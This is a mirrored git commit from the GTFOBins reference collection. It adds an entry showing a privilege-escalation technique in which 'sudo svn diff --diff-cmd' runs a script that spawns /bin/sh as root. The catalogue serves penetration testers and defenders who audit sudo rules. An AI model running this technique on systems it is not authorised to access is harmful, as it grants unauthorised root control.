mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add svn
This commit is contained in:
parent
ac8e667a7e
commit
997eeb358a
11
_gtfobins/svn.md
Normal file
11
_gtfobins/svn.md
Normal file
@ -0,0 +1,11 @@
|
||||
---
|
||||
functions:
|
||||
sudo:
|
||||
- code: |
|
||||
TD=$(mktemp -d)
|
||||
svnadmin create $TD/pwn
|
||||
svn checkout file:///$TD/pwn $TD/project
|
||||
echo -e '#!/bin/bash\n/bin/sh' > $TD/shell
|
||||
chmod +x $TD/shell
|
||||
sudo svn diff --diff-cmd "$TD/shell"
|
||||
---
|
Loading…
Reference in New Issue
Block a user